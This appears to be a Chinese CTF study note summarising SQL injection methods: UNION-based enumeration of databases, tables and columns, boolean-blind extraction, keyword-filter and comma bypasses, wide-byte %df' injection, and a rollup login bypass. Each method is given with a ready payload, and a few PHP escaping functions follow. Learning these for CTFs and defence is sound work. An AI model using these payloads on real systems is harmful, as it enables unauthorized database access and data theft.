sql注入思路:
1.是否存在sql注入測試方法:(1)使用單引號』 (2)sqlmap:sqlmap.py -u http://*******
2.判斷過濾的字元
sql注入方式:
(1)單引號』 (2)or/and 1=1 (3)order by --猜測字段長度
(&&與||繞過過濾) 例:order by 1…
sql繞過過濾方式:
(1)某一關鍵字被過濾:1.注釋//
(如or、order) 2.<>方式 例:o//rder…
(2)#號被過濾是:用url編碼:%23代替
(3)逗號被過濾時:用join
例:』 union select * from(select database()) a join (select version()) b #
//顯示當前資料庫和當前資料庫版本
』 union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select version() ) b # (爆庫、表、列在這個select語句中)
//顯示所有資料庫和當前資料庫版本(group_concat把所有庫名拼成乙個字串)
sql注入:
※(1)可聯合查詢注入union – 結合兩個select語句
例子:union select 1,2,3(order by語句中試出的長度)
得到資訊後爆庫名,如顯示2則:union select 1,database(),3
//或者union select database() (爆出的庫名)
接下來爆表名,union select table_name from information_schema.tables where table_schema=』***』
接下來爆列名,union select column_name from information_schema.columns where table_schema=』***』 and table_name=』***』
(庫名) (表名)
得到列名後獲取flag,union select *** from ***
(列名) (表名)
※(2)布林型注入boolean-based
使用函式:
1.length()–判斷資料庫名字長度
』 and length(database())=8 #
若返回404則錯誤,若返回正常則說明資料庫長度是8
2.left()–判斷資料庫名字第一位
』 and left(database())<『t』 #
若返回404則錯誤,若返回正常則說明首字母大於t,接下來在用》判斷
3.ascii()、substr()–繼續判斷資料庫名字
』 and ascii(substr(select database(), 1, 1)) > 64 # ----資料庫第乙個字母的ascii值
調整64的值,確定到字母
猜測表名類似,如:
』 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)>64 #
//limit表示限制返回的記錄數,依然用大於小於確定最終字母
(3)寬位元組注入:%df』(被解析成乙個寬字元,帶單引號如:縗』,有了單引號就可以注入了)
(4)sql注入:
如果判斷邏輯是 ----看到原始碼
則使用group by pwd with rollup 來在查詢結果後加一行,並且這一行pwd欄位的值為null
具體注入語句:』 group by pwd with rollup limit 1 offset 2 #
(5)php防止sql注入函式:
1.去除斜槓:get_magic_quotes_gpc() + stripslashes()
2.去除引號:htmlentities($str, x)
x = ent_compat //只轉換雙引號;x=ent_quotes// 轉換雙引號和單引號;x=ent_noquotes// 不轉換任何引號
(6)updatexml注入
參考**:
CTF SQL 注入 總結
五 繞過 欄位回顯庫表 列flag 1.萬能密碼登陸 2.登陸後,使用聯合查詢注入 3.爆欄位 4.看回顯 4.爆資料庫 3.爆資料庫的表 4.爆出表的列 5.爆出flag 輸入框的 直接使用hackbar位址列,需將 進行url編碼,即替換為 23 order by 爆欄位,到4報錯,有4 1,即...
CTF SQL注入知識點
select from user where username admin and password 123 infomation schema php input可以讀取沒有處理過的post資料。相較於 http raw post data而言,它給記憶體帶來的壓力較小,並且不需要特殊的php.i...
南郵ctf mysql 南郵CTF SQL注入題
南郵ctf sql注入題 題目 gbk sql injection 解析 1.判斷注入點 加入單引號發現被反斜槓轉移掉了,換乙個,看清題目,gbk,接下來利用寬位元組進行注入 2.使用 df 進行注入,emm報錯,於是加入老手段,and 1 1 23,ok,沒報錯,說明成功 3.繼續改引數,1 2時...